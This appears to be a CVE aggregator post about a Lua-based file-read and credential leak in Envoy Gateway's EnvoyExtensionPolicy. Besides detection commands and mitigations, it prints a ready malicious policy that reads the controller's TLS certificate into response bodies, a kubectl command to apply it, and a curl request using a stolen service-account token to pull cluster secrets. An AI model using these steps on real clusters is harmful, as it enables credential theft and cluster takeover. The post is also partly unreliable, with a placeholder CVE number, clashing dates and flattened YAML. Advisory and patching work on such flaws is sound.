Envoy Gateway, Lua Script Code Execution & Credential Leak, CVE-2024-XXXX (Critical)

Listen to this Post

The vulnerability exists within Envoy Gateway’s handling of user-supplied Lua scripts via the `EnvoyExtensionPolicy` resource. These scripts are executed in two contexts: within the Envoy proxy to process traffic and, crucially, within the Envoy Gateway controller pod for validation. The security flaw is a lack of isolation and safe defaults, allowing the Lua code executed in the controller’s validation context to perform arbitrary filesystem read operations. Attackers can craft a policy containing Lua code that reads sensitive files mounted to the controller pod, such as the proxy’s XDS client certificates (/certs/tls.crt and tls.key) or the Kubernetes service account token (/var/run/secrets/kubernetes.io/serviceaccount/token). By exfiltrating these credentials—for example, by writing them into an HTTP response body or triggering an error message that includes the file content—an attacker gains the identity of the high-privilege `envoy-gateway` service account. This token can then be used to communicate with the Kubernetes API server, leading to a full compromise of the envoy-gateway-system namespace, including theft of all managed secrets and the ability to deploy or delete arbitrary resources.
Platform: Envoy Gateway
Version: v1alpha1 API
Vulnerability: Lua code execution
Severity: Critical
date: 2026-01-14

Prediction: 2024-10-28

What Undercode Say:

Analytics:

  • Check for EnvoyExtensionPolicy resources: `kubectl get envoyextensionpolicies –all-namespaces`
    – Review RBAC bindings: `kubectl get rolebindings,clusterrolebindings -A | grep -i envoyextensionpolicy`
    – List secrets in the gateway namespace: `kubectl get secrets -n envoy-gateway-system`
    – Verify service account token mounting: `kubectl get pod -n envoy-gateway-system -o yaml | grep automountServiceAccountToken`
    – Inspect controller pod for mounted certs: `kubectl describe pod -n envoy-gateway-system -l app.kubernetes.io/component=envoy-gateway`

Bash Commands and Codes:

Malicious EnvoyExtensionPolicy to leak TLS certificates
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: leak
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local cert = io.open("/certs/tls.crt", "r")
local content = cert:read("all") or "file-not-found"
cert:close()
response_handle:body():setBytes(content)
end
Command to apply a malicious policy
kubectl apply -f malicious-policy.yaml -n target-namespace
Using a stolen service account token
curl -k -H "Authorization: Bearer <STOLEN_TOKEN>" https://<K8s-API-Server>/api/v1/namespaces/envoy-gateway-system/secrets

How Exploit:

An attacker with permissions to create or modify an EnvoyExtensionPolicy deploys a malicious Lua script. This script uses the `io.open()` function during the controller’s validation phase to read the pod’s service account token or proxy TLS certificates. The stolen credentials are embedded into an HTTP response body or an error message visible in the policy’s status field. The attacker retrieves these credentials, authenticates to the Kubernetes API as the high-privilege `envoy-gateway` service account, and proceeds to exfiltrate secrets, deploy backdoor pods, or delete the Envoy Gateway deployment entirely.

Protection from this CVE:

Apply the official patch enabling strict Lua validation by default. Implement Kubernetes RBAC to restrict creation of EnvoyExtensionPolicy resources to trusted administrators only. Configure the `disableLua` option in EnvoyProxy or set `automountServiceAccountToken: false` for the gateway service account where possible.

Impact:

Full cluster compromise.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top